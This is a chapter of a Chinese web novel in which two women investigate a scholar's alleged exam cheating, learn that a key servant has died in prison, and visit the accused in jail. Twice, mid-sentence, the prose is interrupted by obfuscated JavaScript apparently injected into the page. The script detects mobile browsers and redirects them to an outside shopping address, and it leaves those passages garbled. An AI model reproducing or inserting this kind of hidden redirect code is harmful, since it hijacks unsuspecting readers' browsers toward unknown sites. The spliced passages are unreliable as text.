江远回忆着，手指无意识地摩挲着书脊：“像是……高兴，又像是紧张。高兴的时候嘴角往上翘，紧张的时候又往下压，两种表情同时出现在一张脸上，看着特别拧巴。” “我问他是谁，他没说，只说是‘贵人’。” 贵人。褚秋水在心里记下这个词。她想起谢云卿那个“我信他”的眼神，又想起那个绸衫青年阴冷的背影，还有那个“贵人”。 “后来呢？” “后来就没有了。”江远说，“再后来他就出事了。” 他低下头，声音有些闷。阳光透过树叶的缝隙落在他身上，斑斑驳驳的，像是什么东西碎了一地。 “陈昀虽然狂，但他真的有才。他要是没出事，今年肯定能中。他备考的那些文章我都看过，每一篇都是上上之作。他根本不需要舞弊。” 褚秋水又问了几句，没问出更多线索，便谢过江远，放他走了。 江远走了两步，忽然又回过头来。 “褚姑娘，”他说，目光认真得像是在发誓，“陈昀不会舞弊。我以我十年的读书人的名声担保。” 说完他就走了，青衫的影子消失在街角。 褚秋水和卫寒苍站在街边，沉默了一会儿。 “贵人。”卫寒苍说，把瓜子壳吐在地上。 “嗯。” “穿着体面，当官的。” “嗯。” “考前第三天。” “嗯。” 褚秋水看着她，等着她往下说。 “你觉得是那个人透的题？”卫寒苍问。 褚秋水想了想：“有可能。但如果是那个人透的题，那陷害陈昀的人，又是谁？” 卫寒苍没说话，只是把最后一颗瓜子嗑完，拍拍手。 “再去福运茶楼看看。”褚秋水说，“那边三教九流的人多，说不定能听到什么。” 两人又往福运茶楼走去。路上，褚秋水把今天的事在脑子里过了一遍。陈昀考前见了一个“贵人”，回来之后心情大好，说“快了”。然后他就被抓了，家里搜出了试题，小厮来福也被抓了。 线索不少，但连不起来。像是一把散落的珠子，缺一根线把它们串起来。 福运茶楼比集贤居热闹得多。说书先生正站在台上讲得唾沫横飞，讲的又是苏眦古国的故事——这回讲到盗圣大战三百信徒了。褚秋水听了两句，嘴角抽了抽，拉着卫寒苍找了个角落坐下。 这次她没心思听说书，注意力全在周围的茶客身上。 旁边那桌坐着几个商人打扮的人，正在聊生意经。前面那桌是两个老者在喝茶下棋，棋盘上的厮杀比台上的故事还精彩。斜对面那桌坐着几个年轻人，其中一个穿绸衫的，正在高谈阔论，声音不大不小，刚好够旁边的人听见。 “……我跟你们说，陈昀这事，没那么简单。” 褚秋水的耳朵竖了起来，比兔子还灵。 “怎么说？” “陈昀得罪的人多了去了。他那个脾气，考前还到处说‘必中’，这不是打人脸吗？多少人等着看他笑话呢。你没看见那天他那副嘴脸，‘区区秋闱，何足挂齿’——啧啧，这话传出去，不得罪人才怪。” “你是说，有人故意整他？” “那可不。”绸衫青年压低声音，四下看了看，像是怕隔墙有耳，“我听说啊，这次的主考官是周延周大人。周大人最喜欢收门生，陈昀是谢云卿的人，周大人能待见他？” 旁边的人倒吸一口凉气，像是听到了什么了不得的秘密。 “你是说……周大人……” “我可什么都没说。”绸衫青年端起茶杯，笑了笑，那笑容里带着一种“你们都懂”的意味深长，“喝茶喝茶。” 褚秋水的眉头皱得更紧了。 周延。她记下这个名字。 又坐了一会儿，没听到更多有用的消息。两人结了茶钱，出了茶楼。 天色已经不早了，夕阳把半边天染成了橘红色，像是被人泼了一盆颜料。街上的人渐渐少了，店铺开始上门板，一天的喧嚣正在退潮。 “回去？”卫寒苍问，打了个小小的哈欠。 褚秋水点点头。 两人往谢府的方向走。一路上，褚秋水都没说话，脑子里全是今天听到的那些话——陈昀的“贵人”，江远的惋惜，绸衫青年的暗示。这些碎片在她脑海里转来转去，像是拼图，但总差那么几块。 “你觉得那个周延有问题？”卫寒苍问，打破了沉默。 “不知道。”褚秋水说，“但值得查一查。” “怎么查？” 褚秋水想了想：“先回去问问老师。” 两人加快了脚步。 —— 回到谢府，天已经擦黑了。管家说谢云卿在书房等她们，晚饭都没吃，一直在等。 书房里点着灯，谢云卿坐在书案前，面前的茶早就凉了，一口没动。他的影子被烛光投在墙上，佝偻着，像一座即将倾塌的山。 “查到了什么？”他问，声音沙哑。 褚秋水把江远的话和茶楼里听到的消息说了一遍，唯独没提周延的事——她怕老师担心，也怕自己猜错了。有些话，没有证据之前，不能乱说。 谢云卿听完，沉默了很久。久到褚秋水以为他不会再开口了。 “那个‘贵人’，”他终于开口，“不是我。” “我知道。”褚秋水说。 谢云卿看着她，目光里有一丝复杂的东西。那眼神里藏着什么，褚秋水看不太懂，但她知道那不是什么坏事。 “秋水，”他说，“这件事可能比你想的要复杂。如果查不下去……” “查得下去。”褚秋水打断他，声音很轻，但很坚定，“老师，我答应过的事，就一定会做到。” 谢云卿愣了一下，然后笑了。 那笑容很淡，但确实是笑了。是那种看见自己种下的树终于开了花的笑。 “好。”他说，“那你去查。有什么事，随时来找我。” —— 晚上，两人回到那个只有一张床的小院。 褚秋水坐在椅子上，把今天的事从头到尾想了一遍。陈昀的“贵人”，来福被抓，周延的传闻——每一个都像是线索，每一个又都像是死胡同。她越想越乱，脑子里像有一群蜜蜂在嗡嗡叫。 她干脆不想了。 一抬头，发现卫寒苍正坐在铜镜前，往脸上抹着什么。烛光下，那张脸白乎乎的，像糊了一层浆糊，只有两只眼睛还露在外面，亮晶晶的。 “你又在干嘛？” “敷面。”卫寒苍头也不回，手指在脸上画圈圈，“今天在外面跑了一天，脸都干了。” 褚秋水凑过去看了看，那玩意儿白白的，抹在脸上像糊了一层浆糊，还散发着一股说不清的香味。 “这能有什么用？” “补水。”卫寒苍的语气像是在跟一个三岁小孩解释一加一等于几。 “水？”褚秋水更不懂了，“缺水喝水不就行了？” 卫寒苍从镜子里瞥她一眼，那眼神仿佛在说“我跟你说不清楚”。褚秋水讪讪地坐回去。 过了一会儿，卫寒苍敷完面，洗了脸，又往脸上抹了一层香喷喷的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371618|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这次是透明的，带着淡淡的花香。 “这又是什么？” “晚霜。”卫寒苍说，“睡前用的。” 褚秋水闻了闻那香味，还挺好闻的。是那种淡淡的、不张扬的味道，像卫寒苍这个人——等等，她在想什么？ “你每天都这么折腾，不累吗？”她赶紧转移话题。 “累。”卫寒苍说，“但累也得弄。” “为什么？” 卫寒苍从镜子里看了她一眼。烛光下，那双桃花眼亮得惊人。 “因为好看。” 褚秋水愣了一下，然后笑了。 “你本来就挺好看的。” 卫寒苍的手顿了顿。 她没回头，只是从镜子里看着她。那目光里，有一点说不清的东西——像是不好意思，又像是开心，还像是“你终于发现了”的得意。 “真的？”她问，声音比平时轻了一点。 “真的。”褚秋水老老实实地说，完全没意识到这句话的分量。 卫寒苍低下头，继续往脸上抹东西。 但褚秋水注意到，她的耳尖红了。红得像天边的晚霞。 窗外，月亮挂在半空，清冷冷的。月光透过窗纸洒进来，在地上铺了一层银霜。 两人洗漱完毕，躺到床上。还是中间隔着一条胳膊的距离。但那条胳膊的距离，好像比以前短了一点。 褚秋水盯着帐顶，脑子里还在想那些事。 “寒苍。” “嗯？” “你说，陈昀到底有没有舞弊？” 卫寒苍沉默了一会儿。床铺微微晃动，他翻了个身，面向她。 “不知道。”她说，声音在黑暗中显得格外清晰，“但我觉得，那个来福有问题。” “为什么？” “他被抓的时候，太安静了。”卫寒苍说，“今天在茶馆，那些人议论的时候你没注意？来福是在谢府里被抓的，当场搜出试题。按理说，他应该大喊冤枉才对。可谁都没听见他喊。” 褚秋水想了想，好像是有点奇怪。 “你是说……他是自愿顶罪的？” “有可能。”卫寒苍的声音里带着一种笃定，“而且指使他的人，一定是他非常信任的人。不然谁会自愿去坐牢？” 褚秋水翻了个身，面向她。黑暗中，看不清彼此的脸，只能看见一个模糊的轮廓，和那双亮亮的眼睛。 “那谁让他顶罪的？” 黑暗中，卫寒苍的眼睛亮亮的，像是两颗星星。 “你说呢？” 褚秋水的心沉了沉。 两人都沉默了。只有窗外的虫鸣声，一声接一声，像是在替她们叹气。 过了很久，卫寒苍忽然伸手，握住她的手。那只手有点凉，但很稳。 “别想太多，”她说，声音难得温柔，“明天接着查。” 褚秋水握紧那只手。 “好。” 窗外的月光透过窗纸照进来，在地上投下淡淡的银光。 这一夜，她做了很多梦。梦里全是陈昀的眼神——那种“我问心无愧”的眼神，和老师那个“我信他”的眼神。两个眼神在梦里转啊转，怎么也停不下来。 —— 第二天一早，褚秋水被一阵急促的敲门声惊醒。 “褚姑娘！褚姑娘！” 是管家的声音，急得像热锅上的蚂蚁。 她爬起来，披上外衣，光着脚跑去开门。卫寒苍也醒了，揉着眼睛坐起来，头发乱得像鸟窝。 管家站在门口，脸色比昨天更难看了。那张脸上，连装出来的镇定都没有了。 “出事了，”他说，声音都在发抖，“来福……死在牢里了。” 褚秋水的心猛地一沉。 像是有什么东西，在最深的地方，塌了一块。 24. 来福 褚秋水披着外衣冲到前厅的时候，谢云卿已经在那儿了。 他坐在太师椅上，手里捏着一封信，脸色灰败得像一堵年久失修的墙，仿佛轻轻一碰就要掉渣。看见褚秋水进来，他抬起眼，眼神有些疲惫。 “老师，”褚秋水快步上前，“来福怎么了？” 谢云卿把信递给她。手在微微发抖，信纸也跟着抖，发出细碎的沙沙声。 信很短，就几行字，犯人来福，昨夜突发急病，医治无效，今晨殒命。仵作验过，确系病死，无可疑之处。 褚秋水看完，眉头皱得像拧紧的麻花。 “突发急病？”她说，声音不自觉地拔高了，“昨天被抓的时候还好好的，今天就死了？” 谢云卿没有说话。他坐在那里，像一尊被遗忘在角落的雕像，连呼吸都轻得听不见。 卫寒苍不知什么时候也来了，站在门口，斜倚着门框，手里还端着一杯不知道从哪儿顺来的茶。 她慢悠悠地喝了一口，然后慢悠悠地开口：“牢里的急病，一般都来得挺及时的。” 谢云卿抬起头，看了他一眼。那目光里没有责怪，只有一种无奈。 褚秋水把信拍在桌上，啪的一声脆响，把旁边架子上的花瓶都震得晃了晃。 “老师，我不信这是意外。” 谢云卿沉默了几秒，然后站起来。他站起来的动作很慢，仿佛一下子老了许多。 “我也不信。”他说，走到窗前，背对着她们。窗外的阳光照进来，把他的影子拉得很长很长，“但现在死无对证，陈昀的罪名又加了一条——指使下人藏匿试题，事败后杀人灭口。” 他顿了顿，声音更低了，低得像是在跟自己说话。 “秋水，你知道吗？今天早上已经有三个言官上折子弹劾我了。” 褚秋水的心沉了沉，像是被人按进了一池冷水里。 “弹劾什么？” “结党营私，培植门生，包庇舞弊。”谢云卿的声音很平静，平静得不像是在说自己，倒像是在念一份别人的罪状书。“如果陈昀的罪名坐实，我这一辈子的名声，就全完了。” 褚秋水看着他佝偻的背影。这是教她练剑的老师，是五十年前的天下第一剑，闻名天下。 可现在，他只是一个佝偻老人。他的背影瘦削、孤单，像一棵被风吹歪的老树，随时都会倒下。 “老师，”她走上前，站在他身后，声音不大但很坚定，“让我去见陈昀。” 谢云卿转过头。 “你见不到。刑部不许任何人探视。” “那就不让他们知道。”褚秋水说，“我有办法。” 谢云卿看着她，沉默了一会儿。那双眼睛里，有担心，有犹豫，也有一丝隐隐的希望。 他看了褚秋水许久，随后轻轻笑了。 “你跟你师傅一个样。”他说，“都是不撞南墙不回头的主儿。” 他从袖子里取出一块令牌，递给她。令牌是青铜的，巴掌大小，正面刻着一个“刑”字，背面刻着一行小字——褚秋水接过来看了看，是刑部侍郎的官印。 “这是刑部侍郎的令牌，我托人弄来的。拿着它，或许能混进去。” 褚秋水接过令牌，忽然觉得有点烫手。 “老师放心，”她说，把令牌攥紧，“我一定查清楚。” 谢云卿点点头，又看了卫寒苍一眼。 “你这位朋友，最好别去。” 卫寒苍挑眉，把茶杯往桌上一搁，发出不轻不重的一声响。“为什么？” “刑部的人认得你。”谢云卿说，目光平静，“昨天你在茶馆露了面，已经有人注意到你了。” 卫寒苍愣了一下。她在大内游走过的事不是什么秘密，此次回京，必然会被刑部注意到。只是没想到，谢云卿已然认出她却没拆穿她的身份。 “谢大人好眼力。” 谢云卿没说话，只是摆了摆手。 “去吧。小心点。” 从谢府出来，褚秋水一个人往刑部大牢的方向走。 卫寒苍被留在府里，满脸不高兴地回了那个只有一张床的小院。临走的时候还嘟囔了一句“什么破地方，连门都不让出”，语气委屈得像一只被关在笼子里的猫。 褚秋水其实也有点不习惯，她一个人走路，没人说话，总觉得少了点什么。耳边少了卫寒苍絮絮叨叨的声音，身边少了那股若有若无的胭脂香，连脚步都觉得轻飘飘的，不踏实。 但老师说得对，刑部的人既然注意到卫寒苍了，为了她的安全，她就不能再露面。 她攥紧袖子里的令牌，加快脚步。 刑部大牢比她想象的要大。 青灰色的高墙，黑漆漆的铁门，门口站着四个腰挎大刀的官兵，一个个面无表情，像四尊门神。 门上还挂着一块匾额，写着“天理昭彰”四个字，褚秋水抬头看了一眼，就低下头快步走过了。 她深吸一口气，走上前。 “站住！”为首的官兵伸手拦住她，声音粗粝得像砂纸磨石头，“干什么的？” 褚秋水把令牌递过去，动作尽量自然，手心却在冒汗。 那官兵接过来看了看，脸色微微变了变，上下打量她一眼。那目光从她脸上扫到背上，又从背上扫到腰间，最后落在她身后那把裹着布的大剑上。 “你是侍郎大人的人？” “……嗯。”褚秋水点头，尽量让自己的声音听起来理直气壮。 官兵又看了她一眼，那目光里带着一点审视，一点狐疑。 但令牌是真的，青铜的质地，刻字的工艺，背后的官印，都是真的。他不敢拦。 “进去吧。”他把令牌还给她，往身后一指，“直走到底，右转，陈昀在天字三号房。” 褚秋水点点头，大步走进门去。 身后传来官兵压低声音的议论，以为她听不见。 “侍郎的人？怎么这么年轻？” “管他呢，令牌是真的就行。就算是假的，那也是侍郎的事，跟咱们没关系。” 褚秋水假装没听见，继续往里走。 牢里的光线很暗，只有几盏油灯挂在墙上，忽明忽暗地照着那些铁栅栏。火光一跳一跳的，把影子投在地上，扭曲成各种奇怪的形状，像一群无声的鬼魅在跳舞。 空气里弥漫着一股霉味、血腥味，还有别的什么说不清的味道。地上铺着潮湿的稻草，踩上去软绵绵的，让人心里发毛。每走一步，都能听见脚下传来细碎的窸窣声——不知道是老鼠在跑，还是稻草下面藏着什么别的东西。 褚秋水走过一间又一间牢房。里面的犯人有的躺着，有的坐着，有的趴在栅栏上，用一双双空洞的眼睛看着她。那些眼睛里没有光，没有神，只有一种麻木的、认命的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371619|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她加快脚步。 走到尽头，右转，天字三号房。 陈昀坐在角落里，背靠着墙，闭着眼睛。墙上有一扇小窗，透进来一线惨白的光，正好落在他身上。 他身上的衣服还是昨天那件月白色长袍，但已经脏得不成样子，领口袖口都是灰，前襟上还有几块暗色的污渍。头发散乱地披下来，遮住了半边脸。脸上沾着灰，嘴角还有一块淤青，青紫色的，肿得老高。 褚秋水的眉头皱了起来。 动过刑了。 她走到栅栏前，轻声开口。 “陈昀。” 陈昀睁开眼睛。 他看了她一眼，愣了一下。那双眼睛有困惑，也有惊讶。 “是老师让你来的？” 褚秋水点点头。 陈昀站起来，走到栅栏前。他的动作很慢，每一步都像是用了全身的力气，但他没有扶墙，没有靠栅栏，就那么硬撑着走过来。 近距离看，他比昨天憔悴多了。眼睛里有血丝，嘴唇干裂起皮，整个人像是被抽走了精气神，只剩一副骨架在撑着。 但他看人的眼神还是那样，直直的，坦坦荡荡的，像一把没出鞘的剑，还没被人折断。 “姑娘怎么称呼？” “褚秋水。” “褚姑娘。”陈昀点点头，“老师还好吗？” 褚秋水看着他，心里忽然有点复杂。这人被关在牢里，被打成这副模样，第一句话问的居然是老师好不好。 “他不太好。”她实话实说，“有人弹劾他。” 陈昀沉默了一瞬。那沉默很短，但褚秋水看见他眼里的光暗了一下，像是被风吹灭的烛火。 然后他低下头，看着自己手上的镣铐。那镣铐很重，把他的手腕磨出了血痕，红通通的，触目惊心。 “是我连累他了。” 褚秋水没接话。她不是不会安慰人，是觉得这个时候说什么都没用。安慰的话太轻了，压不住这牢里的重量。 她换了个话题。 “你到底有没有舞弊？” 陈昀抬起头，看着她。 那目光里，有一种说不清的东西。有愤怒，有委屈，更是一种不甘。 “我说没有，你信吗？” 褚秋水想了想，老老实实地说：“信不信的，得看证据。” 陈昀愣了一下，然后笑了。那笑容比刚才真诚多了，不再苦涩。 “你这人倒是有意思。”他说，靠着栅栏，像是在跟老朋友聊天，“别人来问，都是‘你快说你没做’，你倒好，‘得看证据’。” 褚秋水没理他这茬，继续问：“那试题是怎么回事？” 陈昀的脸色沉了下去。那变化很快，快得像卫寒苍挑选胭脂。 “我不知道。”他说，声音低了下去，“来福说是我让他藏的，可我从没让他藏过什么东西。来福跟了我五年，我把他当兄弟，他……” 他说不下去了。 “来福死了。” 陈昀猛地抬头。 “什么？” “昨晚，死在牢里。”褚秋水看着他，一字一句地说，“仵作说是急病。” 陈昀的脸色瞬间变得惨白。 他张了张嘴，想说什么，却什么都没说出来。他的嘴唇在发抖，手指在发抖，整个人都在发抖，像是被什么东西从里面击溃了。